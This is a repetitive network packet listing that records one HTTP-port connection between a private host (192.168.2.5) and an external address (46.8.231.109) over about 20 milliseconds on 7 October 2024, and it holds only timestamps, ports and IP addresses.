Oct 7, 2024 17:22:00.754297018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.754311085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.754326105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.754347086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.754374981 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.755027056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.755074024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.755110025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.755132914 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.755157948 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.755990982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.756057024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.756072044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.756093979 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.756124020 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.756633997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.756712914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.756726980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.756747007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.756777048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.757473946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.757488966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.757503986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.757524967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.757550955 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.758250952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.758301973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.758316040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.758342028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.758367062 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.759085894 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.759145975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.759160995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.759182930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.759236097 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.759867907 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.759927988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.759942055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.759978056 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.760001898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.760992050 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.761008024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.761022091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.761045933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.761071920 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.761607885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.761622906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.761636972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.761660099 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.761686087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.762460947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.762721062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.762738943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.762810946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.762810946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.763101101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.763139963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.763154030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.763190031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.763197899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.763197899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.763915062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.763945103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.763959885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.763966084 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.763993979 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.764019012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.764729977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.764780045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.764894009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.764936924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.765502930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.765543938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.765559912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.765568018 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.765590906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.765610933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.766031027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.766071081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.766113997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.766146898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.766149998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.766160965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.766182899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.766197920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.766206026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.766213894 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.766235113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.766249895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.766289949 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.766765118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.766804934 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.766813040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.766828060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.766843081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.766849041 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.766870975 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.766891003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.767050028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.767064095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.767079115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.767086983 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.767107010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.767124891 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.767174006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.767189026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.767203093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.767210960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.767218113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.767231941 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.767232895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.767254114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.767286062 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.767772913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.767788887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.767802954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.767817020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.767827034 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.767860889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.768156052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.768171072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.768184900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.768193960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.768223047 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.768248081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.768263102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.768276930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.768286943 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.768290043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.768305063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.768322945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.768349886 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.768971920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.768985987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.769032955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.769037962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.769047976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.769062996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.769071102 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.769078016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.769104958 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.769135952 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.769601107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.769614935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.769629955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.769643068 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.769665003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.769714117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.769907951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.769922018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.769947052 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.769972086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.770025969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.770040035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.770054102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.770066977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.770078897 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.770081997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.770096064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.770109892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.770111084 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.770126104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.770138979 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.770159006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.770195007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.771127939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771142006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771156073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771188021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.771210909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771214962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.771224976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771239042 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771251917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.771253109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771284103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.771305084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771316051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.771318913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771333933 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771348000 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.771368980 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.771856070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771868944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771889925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771892071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.771918058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771924973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.771930933 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771945953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771959066 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.771960974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.771992922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.772026062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.772042990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.772056103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.772063017 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.772069931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.772102118 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.773540020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773554087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773567915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773600101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773610115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.773612976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773627996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773642063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773649931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.773675919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.773699045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.773734093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773747921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773762941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773772001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.773776054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773791075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773791075 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.773804903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773813009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.773819923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773833990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773842096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773845911 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.773857117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773865938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.773870945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773885965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.773907900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773917913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.773922920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773937941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.773950100 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.773981094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.774104118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774144888 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.774154902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774171114 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774192095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.774207115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774209023 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.774223089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774238110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774243116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.774252892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774261951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.774281025 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.774300098 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.774350882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774364948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774379969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774394035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774406910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.774406910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774422884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774437904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774439096 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.774451971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774461031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.774466991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.774482012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.774513006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.775201082 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775250912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.775252104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775265932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775290012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.775312901 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.775369883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775393009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775407076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775420904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775428057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.775461912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.775490999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775526047 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.775629044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775644064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775665045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775672913 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.775679111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775691986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.775693893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775708914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775722027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775722027 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.775737047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775751114 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775758982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.775764942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775779963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775783062 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.775794983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.775805950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.775840044 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.776057959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776072025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776108027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776122093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776128054 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.776137114 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776151896 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.776195049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.776230097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776247025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776261091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776274920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776277065 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.776289940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776304960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776313066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776316881 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.776343107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776355982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776370049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776371956 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.776386023 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776396036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.776417971 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.776720047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776760101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.776794910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776808977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776829958 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.776849031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.776870966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776885986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776900053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776913881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.776925087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.776956081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.777080059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777093887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.777108908 CEST	80	49704	46.8.231.109	192.168.2.5
